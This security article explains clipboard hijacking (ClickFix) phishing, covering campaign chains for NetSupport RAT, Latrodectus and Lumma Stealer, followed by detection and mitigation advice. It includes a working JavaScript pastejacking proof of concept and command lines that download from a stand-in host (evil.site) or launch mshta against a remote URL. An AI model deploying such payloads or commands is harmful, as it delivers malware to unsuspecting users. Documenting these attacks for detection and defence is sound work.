Clipboard Hijacking (Pastejacking) Attacks

"Never paste anything you did not copy yourself." – old but still valid advice

Overview

Clipboard hijacking – also known as pastejacking – abuses the fact that users routinely copy-and-paste commands without inspecting them. A malicious web page (or any JavaScript-capable context such as an Electron or Desktop application) programmatically places attacker-controlled text into the system clipboard. Victims are encouraged, normally by carefully crafted social-engineering instructions, to press Win + R (Run dialog), Win + X (Quick Access / PowerShell), or open a terminal and paste the clipboard content, immediately executing arbitrary commands.

Because no file is downloaded and no attachment is opened, the technique bypasses most e-mail and web-content security controls that monitor attachments, macros or direct command execution. The attack is therefore popular in phishing campaigns delivering commodity malware families such as NetSupport RAT, Latrodectus loader or Lumma Stealer.

JavaScript Proof-of-Concept

<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
  const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
  navigator.clipboard.writeText(payload)
    .then(() => alert('Now press  Win+R , paste and hit Enter to fix the problem.'));
}
</script>

Older campaigns used document.execCommand('copy'), newer ones rely on the asynchronous Clipboard API (navigator.clipboard.writeText).

The ClickFix / ClearFake Flow

1. User visits a typosquatted or compromised site (e.g. docusign.sa[.]com)
2. Injected ClearFake JavaScript calls an unsecuredCopyToClipboard() helper that silently stores a Base64-encoded PowerShell one-liner in the clipboard.
3. HTML instructions tell the victim to: “Press Win + R, paste the command and press Enter to resolve the issue.”
4. powershell.exe executes, downloading an archive that contains a legitimate executable plus a malicious DLL (classic DLL sideloading).
5. The loader decrypts additional stages, injects shellcode and installs persistence (e.g. scheduled task) – ultimately running NetSupport RAT / Latrodectus / Lumma Stealer.

Example NetSupport RAT Chain

powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe             # Sideloads msvcp140.dll

• jp2launcher.exe (legitimate Java WebStart) searches its directory for msvcp140.dll.
• The malicious DLL dynamically resolves APIs with GetProcAddress, downloads two binaries (data_3.bin, data_4.bin) via curl.exe, decrypts them using a rolling XOR key "https://google.com/", injects the final shellcode and unzips client32.exe (NetSupport RAT) to C:\ProgramData\SecurityCheck_v1\.

Latrodectus Loader

powershell -nop -enc <Base64>  # Cloud Identificator: 2031

1. Downloads la.txt with curl.exe
2. Executes the JScript downloader inside cscript.exe
3. Fetches an MSI payload → drops libcef.dll besides a signed application → DLL sideloading → shellcode → Latrodectus.

Lumma Stealer via MSHTA

mshta https://iplogger.co/xxxx =+\\xxx

The mshta call launches a hidden PowerShell script that retrieves PartyContinued.exe, extracts Boat.pst (CAB), reconstructs AutoIt3.exe through extrac32 & file concatenation and finally runs an .a3x script which exfiltrates browser credentials to sumeriavgv.digital.

Detection & Hunting

Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:

• Windows Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU keeps a history of Win + R commands – look for unusual Base64 / obfuscated entries.
• Security Event ID 4688 (Process Creation) where ParentImage == explorer.exe and NewProcessName in { powershell.exe, wscript.exe, mshta.exe, curl.exe, cmd.exe }.
• Event ID 4663 for file creations under %LocalAppData%\Microsoft\Windows\WinX\ or temporary folders right before the suspicious 4688 event.
• EDR clipboard sensors (if present) – correlate Clipboard Write followed immediately by a new PowerShell process.

Mitigations

1. Browser hardening – disable clipboard write-access (dom.events.asyncClipboard.clipboardItem etc.) or require user gesture.
2. Security awareness – teach users to type sensitive commands or paste them into a text editor first.
3. PowerShell Constrained Language Mode / Execution Policy + Application Control to block arbitrary one-liners.
4. Network controls – block outbound requests to known pastejacking and malware C2 domains.

Related Tricks

• Discord Invite Hijacking often abuses the same ClickFix approach after luring users into a malicious server: {{#ref}} discord-invite-hijacking.md {{#endref}}

References

• Fix the Click: Preventing the ClickFix Attack Vector
• Pastejacking PoC – GitHub